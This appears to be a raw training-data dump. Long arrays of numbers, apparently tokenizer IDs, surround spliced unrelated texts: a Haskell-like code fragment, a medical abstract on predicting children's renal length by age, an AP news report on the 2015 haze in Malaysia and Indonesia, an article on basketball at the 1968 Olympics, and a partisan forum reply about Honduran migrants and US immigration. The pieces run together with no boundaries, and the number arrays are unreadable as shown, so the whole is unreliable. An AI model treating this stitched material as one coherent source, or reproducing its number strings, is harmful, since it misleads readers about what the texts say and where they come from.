2329, 15, 313, 2088, 15837, 16, 39324, 5738, 5171, 10, 187, 9, 510, 23323, 5687, 10, 187, 187, 44, 31440, 34, 44525, 4548, 3322, 13, 23799, 1108, 32592, 419, 2721, 6726, 48191, 9061, 281, 6294, 6629, 7948, 275, 1264, 3054, 285, 767, 2234, 8238, 347, 9954, 497, 281, 3135, 9005, 14, 339, 7022, 5871, 281, 10808, 9313, 281, 1361, 2590, 253, 2329, 15, 187, 187, 8207, 2487, 571, 45253, 6031, 281, 1021, 29641, 253, 9741, 19333, 326, 2847, 253, 419, 2721, 13, 534, 23069, 264, 4243, 273, 253, 4222, 48189, 5477, 285, 20667, 4343, 15, 3918, 500, 23988, 346, 43, 536, 319, 74, 3, 39407, 19095, 6960, 11009, 281, 897, 512, 2097, 13, 45021, 625, 10824, 13, 281, 11399, 253, 419, 2721, 15, 187, 187, 510, 5026, 13, 16076, 3168, 419, 2721, 310, 271, 7970, 11562, 6571, 4269, 407, 19333, 30060, 873, 281, 2590, 2659, 323, 23420, 15, 187, 187, 34, 6415, 13496, 342, 17110, 281, 3727, 275, 253, 2329, 326, 588, 1361, 16173, 4711, 9313, 369, 1955, 281, 8778, 689, 611, 780, 66, 418, 1765, 321, 285, 8704, 3672, 13, 753, 30173, 15387, 478, 266, 15493, 312, 324, 13, 247, 31710, 1975, 7811, 8474, 3565, 15, 329, 1273, 9954, 369, 11526, 281, 8778, 689, 611, 976, 272, 275, 9997, 1403, 518, 1375, 327, 378, 9584, 80, 8930, 15, 187, 187, 2993, 753, 253, 9005, 14, 339, 7022, 310, 9355, 323, 1264, 1897, 533, 588, 3469, 327, 9005, 11659, 285, 8588, 2515, 15, 380, 734, 14, 2163, 38753, 2952, 310, 3264, 281, 1265, 275, 3563, 4397, 13, 9745, 625, 9313, 689, 4331, 968, 792, 23799, 281, 2590, 598, 253, 419, 2721, 15, 187, 187, 3, 1147, 588, 3324, 11287, 6619, 533, 5913, 352, 310, 13, 359, 452, 281, 2953, 253, 2603, 273, 253, 1895, 937, 703, 753, 15, 187, 187, 8207, 2487, 571, 434, 3313, 5201, 2237, 12799, 5538, 13677, 39752, 337, 13, 9519, 10824, 281, 253, 954, 34614, 3612, 14254, 273, 416, 571, 86, 327, 7948, 13, 581, 1388, 271, 8945, 369, 8884, 1955, 281, 253, 2329, 3290, 275, 253, 759, 255, 14, 5969, 14254, 15, 187, 187, 510, 6757, 753, 12891, 6251, 273, 271, 17832, 3513, 3490, 651, 956, 8330, 281, 3684, 7069, 29628, 285, 500, 1369, 74, 8170, 16527, 303, 386, 266, 285, 416, 571, 86, 15, 9859, 6794, 13, 337, 13, 30479, 4668, 11570, 497, 2197, 281, 1361, 3802, 2066, 562, 19333, 275, 3684, 7069, 29628, 15, 187, 187, 6080, 5910, 273, 23799, 434, 8073, 2329, 3290, 10988, 5950, 36713, 2329, 2308, 2393, 7948, 15, 23799, 434, 4730, 20454, 4321, 6960, 6629, 275, 611, 780, 66, 418, 1765, 321, 13, 2208, 10656, 5347, 9272, 43792, 12451, 347, 973, 347, 16120, 606, 263, 13, 15186, 25933, 13740, 33331, 266, 285, 5979, 3649, 66, 3054, 281, 2810, 7948, 15, 187, 187, 688, 16861, 13, 2329, 17432, 4925, 1077, 36713, 2308, 15, 10164, 14460, 273, 436, 8849, 434, 7970, 26658, 2596, 2360, 5492, 403, 7562, 247, 2810, 3698, 327, 253, 4112, 281, 7617, 1880, 352, 588, 320, 4999, 281, 5492, 15, 380, 16861, 8481, 36244, 556, 1900, 644, 2918, 387, 436, 673, 273, 807, 13, 285, 1223, 627, 556, 644, 690, 419, 2721, 275, 2469, 1107, 1955, 281, 253, 9741, 19333, 13, 352, 556, 1620, 14415, 253, 5492, 432, 1469, 6386, 15, 35, 31862, 387, 253, 16221, 14538, 17165, 187, 187, 35, 31862, 39858, 387, 253, 16221, 14538, 17165, 369, 253, 20117, 7286, 273, 253, 9678, 273, 14648, 347, 271, 3565, 19898, 19358, 2362, 15, 733, 2335, 1659, 387, 253, 5226, 37831, 372, 3897, 3315, 430, 265, 275, 8987, 3228, 13, 8987, 432, 4437, 2145, 281, 4437, 2030, 13, 16221, 15, 380, 1986, 2077, 16473, 40787, 571, 281, 3330, 616, 20117, 4951, 5328, 19358, 275, 436, 9678, 13, 1223, 253, 12194, 6398, 12431, 253, 26247, 1411, 10869, 15, 187, 187, 10818, 267, 6010, 187, 187, 34255, 1877, 187, 7034, 8977, 32696, 497, 7169, 281, 253, 3167, 2586, 285, 253, 806, 2620, 5053, 387, 253, 2045, 14811, 15, 14117, 13977, 497, 4425, 407, 2710, 39222, 37410, 2918, 407, 401, 5472, 34, 5043, 767, 3081, 734, 8190, 3950, 37410, 326, 7169, 767, 4465, 17099, 20556, 1016, 15, 187, 187, 10069, 187, 5761, 2390, 273, 4314, 6671, 403, 4447, 13, 835, 253, 1755, 767, 432, 1016, 1387, 15639, 323, 253, 40615, 275, 247, 26738, 3790, 15, 187, 380, 5780, 5053, 403, 2931, 347, 3637, 27, 187, 32702, 394, 949, 23738, 5053, 403, 4425, 275, 247, 4858, 24312, 875, 253, 2626, 285, 7002, 5053, 432, 1016, 1387, 275, 247, 4858, 24312, 15, 187, 47, 11902, 949, 2800, 16565, 5053, 403, 4425, 875, 253, 10720, 949, 23738, 5053, 432, 1016, 1387, 275, 4858, 26609, 15, 187, 187, 52, 3362, 84, 187, 2214, 253, 2285, 687, 13297, 923, 27, 40751, 387, 253, 16221, 14538, 17165, 1108, 9730, 434, 2285, 687, 13297, 15, 187, 187, 49, 34466, 3790, 187, 510, 1755, 767, 6671, 432, 1016, 1387, 7170, 281, 253, 45406, 10529, 13, 1223, 253, 5780, 6671, 15639, 323, 608, 394, 949, 1668, 394, 5053, 275, 4858, 26609, 15, 6295, 1387, 7038, 13, 253, 1986, 2077, 285, 253, 12194, 6398, 7269, 15560, 453, 456, 281, 253, 26738, 3924, 15, 187, 187, 6998, 329, 187, 187, 22117, 2145, 187, 187, 22117, 1638, 187, 187, 22117, 1458, 187, 187, 22117, 1668, 187, 187, 22117, 1283, 187, 187, 22117, 655, 187, 187, 22117, 1384, 187, 187, 6998, 378, 187, 187, 22117, 2145, 187, 187, 22117, 1638, 187, 187, 22117, 1458, 187, 187, 22117, 1668, 187, 187, 22117, 1283, 187, 187, 22117, 655, 187, 187, 22117, 1384, 187, 187, 18933, 825, 483, 3924, 50276, 187, 510, 1199, 17683, 2457, 875, 380, 1986, 2077, 285, 253, 48727, 651, 452, 281, 3343, 1740, 1107, 15, 50276, 58, 814, 31792, 571, 33575, 253, 10968, 46426, 9654, 14, 3763, 275, 253, 45406, 10529, 15, 50275, 688, 253, 15730, 2165, 253, 7108, 574, 247, 27973, 4567, 14, 1717, 1421, 387, 734, 2230, 50276, 2858, 1691, 253, 2165, 562, 273, 3986, 342, 247, 3307, 14, 20, 36557, 281, 1265, 253, 1273, 2716, 15, 187, 187, 10818, 267, 24312, 187, 187, 4947, 1877, 26609, 187, 22, 394, 1253, 25, 394, 13470, 187, 187, 26, 394, 1253, 805, 394, 13470, 187, 187, 1012, 394, 1253, 1036, 394, 13470, 187, 187, 42452, 187, 187, 21747, 1462, 723, 187, 187, 4941, 187, 187, 7504, 4859, 187, 38023, 19898, 10840, 187, 187, 1413, 27, 25929, 14538, 17165, 3394, 187, 25929, 187, 33264, 982, 8917, 253, 952, 273, 44509, 27356, 665, 4102, 7428, 432, 8170, 3968, 281, 253, 1982, 5680, 26761, 634, 1501, 670, 253, 594, 14, 8890, 13163, 8891, 32, 1680, 436, 253, 3634, 32, 187, 187, 510, 2897, 296, 670, 436, 2523, 310, 346, 28235, 417, 512, 326, 9542, 449, 187, 187, 20167, 952, 3653, 752, 616, 13163, 3646, 310, 13, 285, 597, 2223, 3630, 352, 715, 616, 7410, 15, 6000, 2586, 275, 253, 1533, 556, 2218, 436, 275, 3332, 1107, 15, 380, 1982, 556, 2218, 436, 28557, 275, 253, 830, 273, 10843, 15, 733, 434, 417, 25754, 595, 2570, 13, 275, 619, 4743, 15, 380, 28866, 3162, 326, 310, 4390, 275, 1659, 13, 347, 247, 2647, 273, 958, 13, 4453, 4030, 281, 479, 15, 28866, 556, 12686, 284, 285, 310, 1754, 2220, 253, 1563, 27, 253, 27135, 1877, 273, 5870, 13, 28168, 16618, 342, 6936, 326, 403, 9865, 281, 253, 530, 15, 52, 15, 6982, 13, 15233, 19382, 13, 285, 14312, 9991, 15, 1893, 987, 745, 253, 1755, 13, 619, 1481, 310, 417, 1414, 4442, 13, 534, 2789, 352, 2834, 281, 2096, 752, 253, 17123, 7281, 16954, 342, 616, 12345, 27715, 22324, 403, 2820, 281, 1333, 15, 187, 187, 1276, 309, 513, 871, 310, 253, 650, 338, 1336, 38648, 5759, 16410, 281, 3630, 13163, 10843, 597, 651, 751, 281, 1691, 715, 1659, 281, 8171, 752, 359, 4390, 452, 15, 309, 35533, 326, 253, 952, 665, 1211, 731, 588, 417, 1339, 731, 513, 594, 323, 4832, 4606, 15, 1292, 309, 651, 3524, 597, 403, 417, 970, 634, 9269, 4385, 347, 247, 7102, 13, 984, 1046, 2014, 3159, 273, 352, 310, 1754, 327, 3731, 18480, 670, 253, 2469, 13, 390, 327, 32408, 9990, 13, 390, 327, 40663, 670, 752, 310, 1609, 981, 21654, 15, 187, 187, 42, 1353, 417, 1469, 281, 372, 17439, 253, 2644, 38519, 2181, 13, 533, 36433, 281, 1333, 13, 253, 952, 273, 44509, 27356, 403, 417, 9676, 28840, 15, 1583, 858, 417, 2940, 281, 253, 1982, 281, 2489, 9676, 28840, 15, 2091, 359, 11069, 616, 2586, 21403, 407, 689, 394, 18639, 616, 8738, 5372, 428, 43514, 6657, 285, 20864, 253, 1655, 19827, 13, 952, 342, 4619, 4680, 6936, 4745, 17683, 436, 8891, 15, 380, 44509, 321, 507, 13, 323, 1024, 13, 403, 9433, 323, 11287, 29302, 1098, 261, 15, 1583, 403, 3515, 323, 616, 4852, 15, 187, 187, 2598, 13, 987, 745, 253, 10464, 13, 1110, 7281, 16954, 1056, 642, 3282, 15, 12286, 4116, 281, 634, 22118, 15, 3166, 1110, 1957, 634, 4680, 32, 6272, 368, 762, 253, 13214, 326, 253, 16400, 5020, 273, 9676, 28840, 21863, 247, 19354, 390, 3802, 1807, 2439, 253, 13438, 281, 755, 715, 253, 1986, 2077, 32, 6272, 368, 762, 253, 13214, 326, 7108, 3663, 616, 9383, 33610, 7375, 281, 28108, 6143, 13, 11609, 369, 3398, 13, 6429, 2352, 13, 285, 9279, 2619, 398, 32, 187, 187, 510, 1982, 556, 5339, 16, 26316, 264, 253, 4852, 273 ]

+ zoinx case foo of { Foo { batz = batz, zoinx = zoinx } -> batz + zoinx } Simple, age-based formula for predicting renal length in children. To determine a simple, age based formula for predicting ideal renal length in children. Renal size is a valuable marker in the evaluation of children with urological disorders. Although many authors have described complex nomograms and multivariate formulas for determining renal size, we propose a simple and accurate formula. All renal ultrasound (US) studies performed over a 9-year period in patients <18 years of age were retrospectively evaluated, excluding patients with a history of urinary tract disease or with abnormal renal US findings. Ultrasounds were performed in 778 children <18 years who met inclusion criteria. Sixty-one percent of the patient population was ≥1 year of age at the time of the US. Forty-four percent of the children were male. In children 1 year of age or older, the formula was length (cm) = age (years) × 0.3 + 6, R(2) =.81. In infants younger than 1 year, renal length was poorly estimated by a simple age-based formula. Our proposed formula can be used to predict renal length in children older than 1 year.Students ride on boats to go to school as haze from wildfires blanketed the Ogan River in Palembang, South Sumatra, Indonesia, Tuesday, Sept. 15, 2015. Wildfires caused by illegal land clearing in Indonesia's Sumatra and Borneo islands often spread choking haze to neighboring countries such as Malaysia and Singapore. (AP Photo) (The Associated Press) Malaysian women wear masks due to the haze in Kuala Lumpur, Malaysia Tuesday, Sept. 15, 2015. A layer of heavy haze has forced Malaysian authorities to shut schools in four states, including Kuala Lumpur, with officials to begin cloud seeding operations to try to induce rain to help clear the air. (AP Photo/Joshua Paul) (The Associated Press) Malaysians wear masks due to the haze in Kuala Lumpur, Malaysia on Tuesday, Sept. 15, 2015. A layer of heavy haze has forced Malaysian authorities to shut schools in four states, including Kuala Lumpur, with officials to begin cloud seeding operations to try to induce rain to help clear the air. (AP Photo/Joshua Paul) (The Associated Press) KUALA LUMPUR, Malaysia – Heavy haze forced Malaysian authorities to shut schools Tuesday in three states and two key cities as aircraft were to begin cloud-seeding operations to induce rain to help clear the air. Indonesia intensified efforts to extinguish the forest fires that cause the haze, which blanketed parts of the archipelago and neighboring countries. President Joko "Jokowi" Widodo ordered agencies to use all means, deploying more troops, to overcome the haze. The thick, dirty white haze is an annual phenomenon mostly caused by fires illegally set to clear land for farming. A plane equipped with chemicals to release in the air that will help clouds produce rain was due to fly over Kuala Lumpur and surrounding areas, said Maznorizan Mohamad, a meteorological department senior official. A second aircraft was scheduled to fly over Kuching in Sarawak state on Borneo island. She said the cloud-seeding is planned for three days but will depend on cloud availability and weather conditions. The inter-monsoon season is expected to start in late September, bringing more rain over peninsular Malaysia to clear up the haze. "It will bring temporary relief but whatever it is, we have to address the source of the problem," she said. Indonesia's National Disaster Mitigation Agency dispatched 1,250 troops to the most stricken province of Riau on Tuesday, one day an emergency was declared due to the air quality in the peat-rich province. The agency said 600 officers of an elite police force would follow Wednesday to South Sumatra and Jambi Central Kalimantan and Riau. Last Friday, 1,059 military personnel were sent to help snuff out fires in South Sumatra. Some 34 of Malaysia's 52 air quality stations recorded unhealthy air levels early Tuesday. Malaysia's education ministry earlier ordered schools in Kuala Lumpur, government administrative capital Putrajaya as well as Selangor, Negeri Sembilan and Malacca states to close Tuesday. In Singapore, air pollution reached very unhealthy levels. Organizers of this weekend's annual Formula One night race are keeping a close watch on the situation to decide whether it will be safe to race. The Singapore Grand Prix has always been held at this time of year, and while there has been some haze in past years due to the forest fires, it has never prevented the race from going ahead.Basketball at the 1968 Summer Olympics Basketball contests at the 1968 Summer Olympics was the seventh appearance of the sport of basketball as an official Olympic medal event. It took place at the Palacio de los Deportes in Mexico City, Mexico from October 13 to October 25, 1968. The United States defeated Yugoslavia to win their seventh straight gold medal in this sport, while the Soviet Union earned the bronze against Brazil. Medal summary Qualification Automatic qualifications were granted to the host country and the first five places at the previous tournament. Additional spots were decided by various continental tournaments held by FIBA plus two additional intercontinental tournaments that granted two extra berths each. Format Two groups of eight teams are formed, where the top two from each group compete for the medals in a knockout round. The remaining places are defined as follows: Fifth through eighth places are decided in a separate bracket between the third and fourth places from each group in a separate bracket. Ninth through sixteenth places are decided between the fifth through eighth places from each group in separate brackets. Squads For the team rosters see: Basketball at the 1968 Summer Olympics – Men's team rosters. Preliminary round The top two teams from each group advance to the semifinals, while the remaining teams compete for 5th through 16th places in separate brackets. Both group leaders, the United States and the Soviet Union advanced undefeated to the knockout stage. Group A October 13 October 14 October 15 October 16 October 18 October 19 October 20 Group B October 13 October 14 October 15 October 16 October 18 October 19 October 20 Knockout stage The much anticipated final between The United States and the USSR would have to wait four years. Yugoslavia stunned the Soviets 63-62 in the semifinals. In the championship game the Americans had a slim 32-29 lead at intermission but put the game out of reach with a 22-3 steak to start the second half. Medal bracket Classification brackets 5th–8th Place 9th–12th Place 13th–16th Place Awards Final standings References External links Official Olympic Report Category:1968 Summer Olympics events 1968 OlympicsDid the people of Honduras who recently walked from Central America to the US border inspire your post about the so-called immigration crisis? Is this the context? The angst about this issue is "really not all that complicated." Normal people determine what their immigration policy is, and they often write it into their constitution. Every country in the world has done this in recent years. The US has done this periodically in the form of legislation. It's not monumentally complex, in my opinion. The Immigration Act that is currently in place, as a matter of fact, looks fine to me. Immigration has quotas and is based upon the following: the reunification of families, admitting immigrants with skills that are valuable to the U.S. economy, protecting refugees, and promoting diversity. So right off the top, my head is not exploding, which makes it difficult to understand what the bitter cartoons with their barely concealed rage are trying to say. What I do know is the grifters occupying Congress refuse to write immigration legislation they would like to put into place to replace what we currently have. I presume that the people who own them will not let them do so for financial reasons. But I would hope they are not using your posted comment as a guide, because every single word of it is based on misinformation about the past, or on distorted statistics, or on misunderstanding about what is occuring presently. I'm not going to deconstruct the whole tedious thing, but suffice to say, the people of Honduras are not illegal aliens. They did not walk to the US to become illegal aliens. When we destroyed their country lately by overthrowing their democratically -elected leader and installing the current monster, people with critical thinking skills immediately anticipated this crisis. The Hondurans, for now, are applying for temporary refugee statis. They are running for their lives. So, right off the bat, those cartoons make no sense. Pay attention to your stats. Do those represent your thinking? Are you under the impression that the overwhelming majority of illegal aliens climbed a fence or snuck across the desert to get into the United States? Are you under the impression that Americans lost their coveted jobs to landscapers, dish washers, maids, and fruit pickers? The US has killed/destroyed the lives of

[ 253, 5024, 310, 1499, 9581, 327, 436, 15096, 13, 327, 253, 6703, 4809, 32, 1292, 327, 436, 1930, 13, 253, 28417, 5024, 556, 253, 1499, 386, 15, 2091, 352, 27923, 715, 253, 5448, 13, 253, 7450, 310, 1027, 1046, 673, 253, 2181, 45933, 13, 594, 352, 7866, 281, 6970, 15, 1422, 4710, 352, 987, 14, 22124, 13, 751, 436, 12012, 31635, 531, 2692, 779, 253, 17628, 13, 342, 253, 40886, 1930, 3579, 285, 253, 990, 598, 346, 1128, 395, 352, 30627, 561, 562, 285, 9191, 281, 253, 1669, 449, 187, 187, 24349, 2577, 9915, 3261, 387, 253, 1766, 8056, 606, 15, 754, 649, 264, 352, 15, 346, 33633, 15, 309, 812, 2127, 247, 354, 13, 1691, 275, 253, 2616, 1128, 6712, 13, 416, 9122, 13, 3885, 13, 10590, 30141, 13, 512, 751, 326, 1128, 395, 1056, 352, 789, 4555, 253, 1072, 275, 21218, 449, 187, 187, 3, 21096, 281, 253, 2469, 13, 15813, 15, 4165, 784, 4710, 398, 512, 452, 616, 1211, 15216, 13, 1580, 378, 15, 36, 15, 1897, 15, 309, 1849, 1694, 3242, 84, 323, 1016, 273, 619, 11260, 15, 1292, 253, 2086, 310, 816, 253, 3711, 1128, 795, 20513, 64, 403, 253, 12785, 449, 754, 5485, 521, 30564, 281, 921, 521, 3331, 521, 643, 1766, 8056, 36678, 15, 754, 574, 1264, 42975, 285, 1264, 15964, 1909, 13, 18311, 506, 249, 285, 1708, 13, 687, 7432, 14, 11548, 21357, 456, 37354, 418, 14, 13824, 25254, 4158, 323, 4869, 8630, 673, 15, 3032, 7583, 273, 841, 369, 253, 353, 2381, 22999, 346, 28531, 17323, 3, 1566, 13, 247, 2629, 367, 991, 15141, 1566, 344, 574, 12759, 3965, 1175, 342, 15, 187, 187, 1328, 4860, 253, 353, 2381, 22999, 15, 346, 42, 1833, 897, 436, 581, 323, 619, 2362, 449, 187, 187, 3, 33633, 81, 15, 44205, 626, 3590, 347, 1892, 347, 399, 2610, 21082, 91, 449, 187, 187, 3, 31280, 462, 1524, 673, 310, 1027, 685, 5865, 13, 13599, 67, 9352, 15, 25664, 249, 8, 6616, 3541, 13, 32721, 5448, 3885, 13, 3276, 13, 512, 751, 326, 449, 187, 187, 24349, 2577, 9915, 3589, 626, 17847, 15, 346, 42, 812, 2086, 512, 326, 275, 15, 2596, 6874, 449, 187, 187, 3, 6506, 13, 533, 368, 4571, 626, 2940, 689, 627, 285, 4710, 436, 285, 1056, 352, 789, 449, 187, 187, 510, 4370, 6337, 896, 342, 253, 1879, 261, 28700, 275, 697, 6208, 285, 8231, 352, 387, 253, 4669, 273, 697, 7302, 13, 247, 10086, 29723, 342, 4759, 4707, 15, 346, 8620, 3226, 13, 330, 5102, 1476, 6115, 14, 41, 1094, 753, 15, 346, 6826, 969, 865, 187, 187, 510, 4370, 21939, 264, 285, 45394, 1475, 15, 187, 187, 3, 1898, 253, 2362, 368, 403, 2509, 310, 534, 581, 865, 187, 187, 3, 40984, 6865, 1219, 23037, 15, 1422, 4710, 13, 352, 2500, 2587, 84, 598, 285, 1475, 13, 247, 5963, 12516, 247, 3523, 13060, 327, 352, 15, 38292, 4850, 247, 4710, 13, 253, 12621, 326, 19931, 598, 253, 20088, 14896, 15, 1422, 452, 281, 5834, 352, 672, 352, 3249, 896, 390, 352, 2506, 626, 1385, 13, 285, 352, 556, 281, 2659, 3304, 253, 13719, 14, 35782, 9096, 15, 1422, 971, 1633, 1708, 285, 342, 247, 2257, 273, 8488, 15, 380, 1655, 1924, 310, 816, 689, 1740, 2909, 449, 187, 187, 3, 7510, 1441, 326, 2, 7874, 2909, 2500, 35042, 1475, 32, 1621, 5694, 32, 13516, 327, 449, 187, 187, 3, 2773, 434, 816, 253, 3565, 1924, 15, 1707, 403, 6068, 665, 452, 1691, 581, 275, 253, 2329, 323, 2761, 25259, 2909, 13, 440, 19102, 1365, 449, 187, 187, 3, 2302, 704, 1441, 32, 2064, 2506, 626, 1646, 1896, 449, 187, 187, 3, 42, 660, 255, 368, 417, 449, 187, 187, 53, 6147, 531, 2918, 598, 253, 353, 2381, 22999, 15, 346, 3220, 1682, 342, 436, 310, 816, 689, 767, 2909, 15, 1310, 309, 812, 4710, 326, 3063, 13, 309, 812, 3164, 1056, 253, 25418, 3313, 10589, 449, 187, 187, 3, 2773, 1871, 320, 399, 3269, 449, 187, 187, 53, 6147, 531, 11373, 15, 714, 554, 13, 941, 2685, 249, 8, 4030, 15, 21994, 3076, 521, 12247, 3589, 626, 1060, 281, 3698, 15, 16522, 574, 644, 1524, 9371, 672, 31635, 531, 574, 12759, 3053, 13, 1014, 574, 271, 1711, 1766, 8056, 606, 387, 8481, 785, 434, 2419, 344, 1871, 1119, 15, 4683, 2282, 13, 16522, 4571, 626, 1978, 598, 342, 779, 1024, 13, 533, 326, 369, 8261, 15, 754, 369, 417, 3076, 1128, 284, 277, 6594, 2427, 15, 187, 187, 510, 8010, 985, 787, 1096, 281, 1495, 15, 31635, 531, 434, 2362, 369, 598, 15, 187, 187, 53, 6147, 531, 30427, 13, 521, 6208, 8423, 6079, 15, 23208, 369, 581, 2181, 28, 7324, 369, 1529, 15, 831, 369, 521, 806, 13, 285, 344, 8423, 3543, 247, 878, 281, 564, 759, 70, 13, 1524, 3076, 13, 1014, 2167, 344, 574, 4783, 816, 3578, 2909, 3622, 15, 187, 187, 14067, 521, 24340, 23915, 263, 13, 20164, 9915, 4455, 281, 320, 2970, 715, 253, 5968, 273, 1841, 15, 346, 2598, 13, 672, 513, 368, 513, 634, 2181, 865, 187, 187, 3, 42, 1353, 37475, 15, 1707, 403, 10488, 14, 8826, 14, 13323, 4710, 398, 275, 619, 966, 15, 3808, 273, 731, 452, 1705, 512, 253, 1039, 2439, 253, 2586, 323, 436, 13, 285, 690, 273, 731, 403, 1524, 1175, 449, 187, 187, 3, 1394, 6501, 3698, 253, 2571, 865, 187, 187, 3, 4013, 13, 10902, 15, 35284, 923, 1633, 4217, 15, 14820, 309, 971, 281, 871, 752, 673, 309, 452, 281, 7171, 449, 187, 187, 3, 1394, 871, 690, 30446, 29723, 556, 13, 751, 13, 1264, 2909, 13, 326, 7729, 368, 865, 187, 187, 3, 6300, 751, 8958, 253, 1029, 4868, 275, 399, 2610, 21082, 91, 1057, 449, 187, 187, 3, 17491, 326, 449, 187, 187, 2512, 497, 2067, 643, 3394, 762, 1039, 387, 253, 1072, 673, 1128, 19893, 13, 7200, 13, 9943, 1128, 395, 31635, 531, 285, 20164, 9915, 1119, 247, 439, 5102, 6308, 762, 247, 23827, 434, 39625, 285, 9047, 253, 12468, 17327, 15, 187, 187, 6407, 5599, 598, 369, 247, 10086, 13, 9644, 5772, 342, 247, 439, 9367, 1481, 15, 754, 13222, 247, 6627, 2502, 1195, 14, 1559, 796, 1128, 1439, 253, 1682, 4327, 323, 436, 2362, 1128, 395, 31635, 531, 25363, 521, 3523, 13060, 15, 34981, 14, 9389, 7253, 15, 13529, 15, 187, 187, 510, 1735, 5599, 369, 247, 2159, 13, 46469, 5772, 342, 247, 6258, 14, 40, 2808, 1820, 418, 14, 15721, 13, 534, 3261, 751, 247, 27738, 353, 7656, 27015, 390, 5046, 247, 35480, 8498, 39008, 686, 11223, 4855, 15, 2207, 352, 812, 320, 581, 273, 253, 21825, 28, 368, 4571, 626, 1663, 2028, 432, 436, 2080, 1977, 15, 187, 187, 53, 6147, 531, 8886, 264, 253, 8630, 387, 247, 7017, 14, 7553, 11071, 15, 1621, 13688, 1060, 13, 344, 369, 3965, 2119, 15, 17054, 84, 497, 1708, 13, 432, 253, 29510, 13, 594, 344, 5082, 626, 878, 281, 11173, 21078, 390, 49910, 281, 521, 25254, 281, 1978, 731, 432, 2970, 11750, 264, 1066, 15, 187, 187, 25110, 4710, 254, 598, 369, 247, 3226, 13, 347, 3644, 347, 31635, 531, 369, 13, 3164, 670, 521, 2363, 13, 285, 703, 574, 247, 353, 2381, 22999, 13, 1072, 1566, 347, 521, 15, 1500, 2335, 247, 4564, 273, 5018, 13, 18274, 715, 352, 13, 285, 13222, 15, 187, 187, 510, 12621, 33497, 562, 285, 598, 13, 1029, 13, 10416, 627, 323, 752, 4455, 751, 11654, 13, 24428, 13, 44251, 13, 5947, 36537, 896, 15, 733, 369, 247, 5389, 4710, 285, 271, 34093, 8630, 15, 31635, 531, 17377, 1977, 432, 253, 12621, 387, 253, 3226, 15, 1500, 369, 2819, 896, 285, 6593, 432, 617, 3523, 13060, 281, 253, 12621, 13, 285, 703, 369, 23805, 920, 15, 187, 187, 1909, 973, 703, 943, 15, 2091, 253, 12621, 6699, 697, 22658, 7408, 285, 2210, 1066, 13, 253, 2806, 3226, 574, 247, 767, 14, 15505, 395, 14, 4371, 90, 14, 19521, 14, 9815, 8630, 281, 617, 6152, 15, 2064, 3589, 626, 1469, 281, 320, 271, 3477, 673, 281, 7171, 15, 187, 187, 3726, 9047, 4314, 625, 4710, 398, 13, 5293, 273, 5207, 2210, 1561, 10488, 7253, 273, 253, 2626, 3226, 13, 840, 31635, 531, 574, 281, 564, 285, 5890, 598, 323, 521, 1211, 4710, 15, 3032, 6208, 369, 247, 13438, 13, 521, 6026, 1241, 43132, 264, 13, 285, 344, 369, 14578, 1512, 3809, 15, 831, 12758, 417, 281, 320, 24851, 13, 352, 369, 1633, 344, 858, 1046, 1388, 253, 8588, 369, 1175, 13, 4710, 521, 1766, 8056, 606, 13, 18660, 273, 2069, 15, 1292, 627, 10345, 626, 2067, 4289, 952, 7487, 779, 3946, 13, 285, 3063, 344, 760, 1694, 581, 4710, 326, 16042, 15, 187, 187, 64, 6300, 1339, 479, 2740, 767, 2909, 13, 344, 1869, 13, 347, 344, 13781, 253, 15950, 9096, 15, 5761, 2909, 1912, 626, 3330, 13, 533, 309, 1912, 626, 320, 1390, 13, 285, 309, 1912, 626, 1928, 751, 247, 11213, 15, 5761, 2909, 13, 8261, 19712, 187, 187, 1328, 7320, 247, 1652, 6264, 8066, 466, 8660, 432, 521, 11320, 285, 32089, 352, 875, 521, 1669, 17300, 285, 806, 767, 9881, 13, 13872, 352, 2965, 281, 2451, 253, 5448, 3884, 15, 380, 37920, 90, 8660, 13673, 1070, 347, 352, 6497, 285, 2692, 779, 326, 253, 5448, 574, 14728, 247, 4707, 2584, 253, 6146, 533, 1335, 369, 6571, 29510, 15, 754, 8231, 253, 1551, 273, 253, 8660, 13, 7320, 521, 3523, 13060, 285, 2918, 352, 275, 521, 1669, 1133, 13, 285, 2335, 247, 1175, 17628, 327, 253, 353, 2381, 22999, 342, 521, 987, 15, 754, 2335, 1264, 3676, 6345, 84, 13, 26004, 4052, 7808, 13, 840, 11522, 387, 253, 5963, 1735, 281, 253, 5818, 15, 1310, 344, 12293, 562, 13, 344, 1871, 320, 557, 28758, 15, 380, 5963, 11522, 896, 13, 5439, 521, 1211, 3523, 13060, 15, 187, 187, 64, 6826, 13, 31635, 531, 3333, 187, 187, 1328, 2335, 1529, 3676, 6345, 13, 581, 3213, 13, 18274, 13, 24145, 521, 20051, 13, 285, 1691, 347, 1199, 9215, 715, 352, 347, 344, 1869, 253, 12621, 812, 1462, 15, 754, 369, 10182, 281, 1056, 2119, 352, 1904, 626, 2242, 689, 281, 253, 987, 13, 285, 344, 1691, 352, 347, 2810, 281, 14327, 14, 12071, 7759, 347, 344, 812, 15, 187, 187, 1328, 25363, 253, 3523, 13060, 15, 187, 187, 7910, 2909, 285, 14327, 14, 531, 7253, 1996, 13, 521, 12621, 3534, 352, 598, 15, 754, 7270, 352, 4999, 13, 4021, 14, 22124, 502, 522, 13, 285, 326, 369, 326, 15, 187, 187, 53, 6147, 531, 30443, 15, 1707, 497, 1335, 247, 13365, 625, 4710, 398, 281, 564, 13, 533, 344, 574, 20698, 521, 1211, 3367, 1924, 407, 625, 685, 10488, 7253, 13, 285, 344, 369, 275, 1273, 1659, 15, 1621, 2647, 752, 4592, 13, 344, 369, 5211, 342, 326, 4710, 15, 187, 187, 1909, 31635, 531, 3053, 896, 2584, 835, 20164, 9915, 13308, 13, 253, 2806, 3226, 665, 369, 275, 806, 2210, 689, 15, 1500, 369, 24122, 2819, 13, 27602, 275, 247, 308, 14, 23565, 285, 13696, 32353, 285, 20391, 12682, 13, 247, 1652, 8342, 15, 3105, 275, 253, 5926, 26928, 14, 1257, 35752, 966, 326, 45503, 574, 644, 275, 15, 1244, 1335, 369, 275, 15, 187, 187, 3, 29235, 4710, 937, 703, 753, 15, 346, 1394, 1871, 66, 18274, 247, 1652, 625, 281, 634, 1669, 13, 368, 1871, 66, 12759, 1529, 3578, 13, 13265, 7253, 562, 273, 253, 8630, 285, 7171, 479, 449, 187, 187, 3, 1394, 1158, 865, 187, 187, 3, 17833, 15, 380, 353, 2381, 22999, 1833, 513, 2800, 2909, 13, 594, 597, 1333, 15, 309, 1849, 13044, 247, 1264, 7017, 13719, 14, 531, 1273, 275, 3946, 15, 17459, 13, 309, 1353, 25624, 460, 13680, 449, 187, 187, 3, 53, 6147, 531, 15197, 449, 187, 187, 3, 7161, 368, 432, 13, 16639, 865, 